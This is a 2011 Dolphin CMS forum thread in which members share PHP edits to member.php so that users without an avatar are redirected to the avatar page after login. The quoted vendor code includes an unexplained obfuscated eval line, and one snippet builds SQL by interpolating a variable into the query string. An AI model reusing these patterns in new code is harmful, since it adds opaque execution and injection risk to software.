Redirect for Avatar being empty

I have been looking all over for an answer for the way to direct people to see that their avatar needs to be set. Forums in this site fracture the subject all over the place.

What I have picked up was a posting about a redirect for Profile Edit, and it seems to have the best structure for making it work, but I am getting mixed results.  The mod was originally by DeeEmm.

In member.php,

[FIND]------------------------------------------------------

    function getBlockCode_QuickLinks() {

--[INSERT AFTER]----------------------------------------------

    //[START DeeEmm Login Redirect MOD]
    global $sNoob;
    //[END DeeEmm Login Redirect MOD]

[FIND]------------------------------------------------------

    $_page['name_index'] = 150;
    $_page['css_name'] = '';

--[INSERT AFTER]---------------------------------------

    //[START DeeEmm Login Redirect MOD]
    if ( $sNoob == 'yes' ) {
        $sUrlRelocate = 'http://yoursitename.com/m/avatar/';
    }

____________________________________

 

Then in inc/profiles.inc.php

 

[FIND]------------------------------------------------------

    function bx_login($iId, $bRememberMe = false) {

--[INSERT AFTER]----------------------------------------------

    //[START DeeEmm Login Redirect MOD]
    global $sNoob;
    //[END DeeEmm Login Redirect MOD]

[FIND]------------------------------------------------------

    $_COOKIE['memberPassword'] = $sPassword;

--[INSERT AFTER]----------------------------------------------
   
    //[START DeeEmm Login Redirect MOD]
    $sMySQLQuery =  mysql_query("SELECT `Avatar` from `Profiles` WHERE `ID` = '$iId' LIMIT 1");
    $sResult = mysql_fetch_object($sMySQLQuery);

    if ( !$sResult->Avatar || $sResult->Avatar == "0" ) {
        $sNoob ='yes';
    }
    //[END DeeEmm Login Redirect MOD]

________________________________________________

 

Somehow this does not seem to be consistent in that I can go into a database, delete the value for the avatar in a profile and set to 0. Try and login, and the script gets ignored and dumps the user back to the member.php

Any tips on what might be wrong?

Even Monkeys and Retards get it right with repitition! - Author Unknown
Quote · 27 Sep 2011

Let me make sure i understand.

Do you want to redirect members to the avatar page after logon if they have not set an avatar?

If so, i know how to do it with just 4 lines of code.

https://www.deanbassett.com
Quote · 27 Sep 2011

I'll post it anyway even if it's not quite what you want incase someone else needs it.

This mod will redirect a member to yoursite.com/m/avatar after logon if the member has not set an avatar.

Open member.php.

Somewhere around line 660 look for the following.

            if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
            $sRelocate = bx_get('relocate');
            if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

            $_page['name_index'] = 150;
            $_page['css_name'] = '';

You can do a search for $sRelocate which should take you right to this code as it is the only place in the file where that appears.

Edit that section adding the code in RED.

            if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
            $sRelocate = bx_get('relocate');
            if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

// Deano - Redirect after logon to avatar page if no avatar set. - Start
$iMemID = $p_arr['ID'];
if ($p_arr['Avatar'] == 0) {
    $sUrlRelocate = BX_DOL_URL_ROOT . 'm/avatar/';
}
// Deano - Redirect after logon to avatar page if no avatar set. - End


            $_page['name_index'] = 150;
            $_page['css_name'] = '';

https://www.deanbassett.com
Quote · 27 Sep 2011

Precisely right.... that is what I was looking for!!!

You are great!

Even Monkeys and Retards get it right with repitition! - Author Unknown
Quote · 27 Sep 2011

As i was working on this trying different ways i left a line of code in there that serves no purpose. Because i can no longer edit my last post, i am posting it again with the correction.

This mod will redirect a member to yoursite.com/m/avatar after logon if the member has not set an avatar.

Open member.php.

Somewhere around line 660 look for the following.

            if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
            $sRelocate = bx_get('relocate');
            if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

            $_page['name_index'] = 150;
            $_page['css_name'] = '';

You can do a search for $sRelocate which should take you right to this code as it is the only place in the file where that appears.

Edit that section adding the code in RED.

            if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
            $sRelocate = bx_get('relocate');
            if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

// Deano - Redirect after logon to avatar page if no avatar set. - Start
if ($p_arr['Avatar'] == 0) {
    $sUrlRelocate = BX_DOL_URL_ROOT . 'm/avatar/';
}
// Deano - Redirect after logon to avatar page if no avatar set. - End


            $_page['name_index'] = 150;
            $_page['css_name'] = '';

https://www.deanbassett.com
Quote · 28 Sep 2011
 
 
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.